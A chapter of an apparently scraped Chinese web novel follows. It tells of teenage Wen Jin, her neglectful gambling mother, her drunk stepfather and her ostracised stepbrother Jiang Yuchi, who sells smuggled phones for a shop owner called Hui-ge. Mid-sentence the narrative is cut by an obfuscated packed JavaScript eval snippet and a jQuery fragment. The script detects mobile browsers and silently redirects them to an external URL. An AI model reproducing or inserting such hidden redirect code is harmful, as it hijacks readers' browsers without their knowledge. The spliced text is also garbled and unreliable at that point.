知道少年的名字里没有雨水，是在程春湘和江才封的婚宴上。
程春湘和江才封动作很快，从医院回来后，没几天就扯了证。
一夜之间，江才封从隔壁的酒鬼变成了温瑾法律上的父亲，而少年的身份，也紧跟着发生了变化。
江yǔchí。
江予迟。
翻开他空白的课本，入目即是一个全然陌生的名字。
看见那几个字，温瑾心里居然没预想地那般抗拒，只是忽然冒出一个模模糊糊的想法。
原来，不是冷雨落池。
而是予取予求，意恐迟迟。
纵使并不抗拒，对着江予迟，温瑾无论如何也叫不出“哥哥”两个字。
她想不通，怎么暑期伊始，他还是程春湘口中不积阴德的短命鬼，等到暑期即将结束、七中快要开学时，他就成了她口中仿佛从来就很亲热的予迟，以及每一次当着温瑾都不厌其烦重复的，你哥哥。
——你哥哥。
每次听见这三个字，温瑾都会起一满身的鸡皮疙瘩，像是听见了什么灵异故事。
江予迟看着却突然没了所谓。
反正，有没有母女俩在他都一样，从不说话，更鲜少着家。
以往，温瑾还能在鱼骨街看见他几回，可程春湘一进了家门，他就好像和这个家彻底没了关系一样，课也不上四处跑。
他似乎在拼了命地找法子赚钱。
有一次，温瑾在桥洞里遇见他替辉哥守摊。
桥洞那地方闷热无比，他蹲靠在墙边满头是汗，有人来，要买一个二手的翻盖机，他立刻就摆了一溜儿的机子出来，一个一个递给人家去看，仿佛生怕耽误人家的时间似的，汗都没擦一下，而过路人听见他那把嗓子，总是说不了几句话就被吓走，温瑾经过、与他四目相对的那一霎，他脸上的窘色还没消散，面上闪过了一瞬的怔然。
还有一次，她经过家黑网吧，看见他就在里头，给人收拾泡面上机子，四周围门庭若市，而他身处其中，仍只拖行着一截影子，形单影只。
在鱼骨街时，温瑾也听到过一些风言风语，说闲话的人看见她打眼前经过，非但不收敛，反倒拉长了咿咿呀呀的调子。
“酒鬼家儿子怎么不读书啦？那孩子虽然手不干净，脑子还挺灵光的，刚进校的时候考第一名咧。”
“读什么书嘛？你又不是不晓得，他爹找了个女人，那女人又带了个小的，现在除了喝酒，一门心思都在那母女身上，别说给学费，饭都不一定有他一口。”
“哎呀！所以我才讲嘛，这就叫世事难料！以前他爸就让他上个中专，好早点念完了出去打工，他死活不肯，被打得皮开肉绽都要去七中读普高——哪里能想得到今天唷？”
温瑾经过，刻意放慢了步子，听着她们声调变换的议论，面上始终没什么表情，像是小小年纪就继承了程春湘的刻薄心狠，一点儿都没把别人的死活放在心上。
只是一到家，一身骨头松散下来，她数不清第多少次翻开江予迟放在家里的课本，那课本空荡荡的，第一页自始至终只有一个字：迟。
所谓迟，其实不是不来，而是阴差阳错，恰就来晚了那么一步。
但人生匆匆，不过几次落脚，几步回眸，许多时候来晚了一步，发生在某一个人身上的故事，就再也没有机会去参与了。
彼时年少，温瑾的天真货真价实，明白“事不宜迟”四个字真正的分量，明白生命里的遗憾总如一把生了锈的钝刀，皆是后话了。
-
九月，鱼骨街的银杏叶飘零下来，摇摇洒洒，给沥青马路点缀上了几抹金色，秋意正浓。
温瑾连着好几次从那家黑网吧经过时，一直都没看见江予迟。
又过了俩月，江予迟才终于出现在学校，赚钱的方式换了一种，不再一次一次给人上机子，而是替辉哥中转，拿着从香港走私来的水货在学校里暗中倒卖。
当然，主要流通地不是他所在的七中高中部，而是另一所学校，离七中不远的市一中。
市一中有个砸钱就能进的班，班级人不多，平日里总是成堆出现。
是在那时候，温瑾才第一次那么切实地体会到，分明还都是学生，分明也都穿着整齐划一的校服，周遭的世界却天差地别。
那伙人和江予迟似乎关系不错。
有好几次，温瑾独自一人回家，路过两所学校之间共通的窄巷，总能看见江予迟和他们走在一起。
每每这时，温瑾都会尽量目不斜视从一伙人身边经过，步子迈得飞快。
但有一次，温瑾停了下来。
那一次江予迟不在，那伙人在小巷里成排走过，温瑾听见他们提起江予迟，用的是她从来不曾预料的三个字，沙皮狗。
“你听过他声音吗？”
“当然听过，说话时跟只沙皮狗似的，瘆得慌。”
“你别抬举他了，他要是吠起来，估计比沙皮狗还更难听。”
-
再一次闻到铺天盖地的酒气，是鱼骨街下发拆迁办的公告，告知众人接政府通知，片区出了新政策，拆迁日期要往后延了。
在这之前，江才封婚后有小半年没再碰过酒，程春湘也不再日夜流连于牌馆，而是突然捣鼓起了服装生意，表现得像两个再正常不过的、想把日子过好的成年人。
可一纸公告，到底还是让一切轰然坍塌。
站在廊上，听见屋子里传来砸酒瓶的声音，温瑾回屋打通了程春湘的电话。
“江才封喝多了，正在发酒疯。”
“喝呗，喝死了还不用和我抢房子。”
“江予迟又有大半个月没回家了。”
“没死不就行了？还真拿人家当你哥了？他爹都不管，你指望我管？”
温瑾沉默了好一阵。
“老师让我买一件七中的校服，说不能再穿以前学校的旧校服了。”
“好端端的衣服，凭什么不让穿？你学校不就是变着法子想从我口袋掏钱吗？想都别想！”
最后一句话刚说完，电话里传来另一人胡牌的欣喜笑声：“杠上开花自摸！给钱啦！”
程春湘恶狠狠骂了句脏话：“真他娘的晦气！”
“以后我打牌时别给我打电话！”
说着，程春湘再不和温瑾废话，干脆利落撂了电话。
电话挂断刹那，门外正好传来一声无比刺耳的叫骂声。
温瑾还没从那句晦气中回过神来，酒鬼便摔了桌子，骂程春湘在和外头带她做服装生意的男人乱搞。
“还衣服生意！？别以为我不知道，你妈在外头做的是皮肉生意！”
砰一声，又有一个酒瓶炸开了花，温瑾忍无可忍，用力拉开门，紧接着就开始朝外跑。
跑着、跑着，她将整条鱼骨街都甩在了身后。
-
烈日的曝晒下，电子城缺了个角的招牌反射着白亮的光，格外刺眼。
温瑾站在大马路上，昂起头朝那招牌望了许久，终于深吸一口气，朝里走了进去。
辉哥那间小店招牌平平无奇，就叫手机专卖店，温瑾没忘记它的具体位置。
路上，有几个黄头发的初中小混混与温瑾相向而行，和她擦肩而过之际，打量般吹了声口哨，面上满是轻佻。
刹那间，温瑾心里涌进了一股极其强烈的后悔，她陡然站定，搞不明白自己跑来这儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996325|178185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
干什么。
可刚想折返，一个吃惊的女声忽然响了起来：
“哟！那个大摇大摆来我们这儿花假的一百块的！”
闻歌声音尖细，许多人都朝温瑾看了过来。
在她身旁，忙着打电话的男人也抬起了头，笑着调侃：“又坑我们迟来了？”。
展柜一侧的角落里，江予迟正捣弄一个广告灯箱，那灯箱上依稀写着纹身纹眉几个字样。
听见辉哥的话，他回头短暂瞥了眼温瑾，眼神里没有昔日的凶恶，却比以往还更加冷淡。
-
电子城的女人叫闻歌，温瑾已经知道了。
至于男人，温瑾不知道他的全名，反正这儿所有人都管他叫辉哥。
“你刚刚说，要来我这儿打工赚钱？”
辉哥垂眸看着温瑾，觉得挺新鲜。
温瑾点了点头，这理由其实是她现编的，她根本没想那么多。
但需要钱是真的，她再也受不了在偌大的学校里穿着和所有人格格不入的旧校服，不管走到哪里都有人多看一眼的日子。
说话间，几丝浓烈的消毒酒精味漫进鼻息，其间混杂着烟味、一股奇特的烧焦味，以及几丝若有若无的廉价栀子味香水。
温瑾余光看向江予迟，只见他身前的展柜内，各式手机五花八门。
“免了吧。”辉哥拒了温瑾，“我这儿不缺人，更别说还是个未成年。”
“难不成他成年了？”
江予迟这才抬头，眼神在温瑾身上定了一秒，紧接着就越过温瑾肩头，落在了几个笑嘻嘻的黄毛小混混身上。
“总之人比你大。”辉哥敷衍。
“那也大不了几岁。”温瑾偷偷翻过家里的户口本，上面江予迟的出生日期写得明明白白，她十四岁，江予迟十六岁，说到底只不比她大两岁而已。
不过温瑾没想到的是，江予迟的出生日期竟然也是七月二十三。
也就是说，在旧厂房剑拔弩张的那一天，竟然就是他们两人共同的生日。
突然，温瑾想起了那个一元零七角的临期面包，心里说不出什么滋味，快速撩起眼皮，又朝江予迟偷看了一眼。
江予迟身旁的台面上还有一个鱼缸，鱼缸里面没有金鱼，缸底铺了一层堆积的烟灰。
电子城人来人往，大功率的顶灯映照其上，使得玻璃缸凸起的表面变成了一个鱼眼镜头，将江予迟从来瘦削的脸拉宽了些许，一眼望去，竟有些笑模样。
温瑾从没见江予迟笑过，不自觉，就携着好奇多看了一会儿。
而同时，她也看见了江予迟肩膀上那道被拉长的伤口，从宽大领口中露出一截，十分明显地横亘在外。
这么久了，那道被酒瓶砸出的伤口居然还在，纵使掉了痂，依然透出了一小道颜色稍浅的新肉。
温瑾微微一怔，辉哥突然再次开了口：“你这小屁孩这么缺钱？你爸妈不给你钱？”
她才不是什么小屁孩。
因为和程春湘堵着气，温瑾说话颇有些不管不顾：“不想花他们的钱。”
她话音刚落，江予迟动作顿了一下，辉哥则哈哈大笑了起来。
只是笑完，一霎又变得正经许多：“你知不知道你这个年纪，要想靠自己赚钱，得在外头吃多少苦？”
温瑾不吭声，辉哥继续：“你和江予迟可不一样，他能干的活儿你干不了，而且，在我这儿干活对你以后也没好处——我一看你就知道，你总归是想到外面去的。”
他话音刚落，温瑾立刻皱起了眉头：“什么意思？”
她能听懂什么意思，只是她想不明白，难道江予迟不想出去，要在破破烂烂的鱼骨街呆一辈子？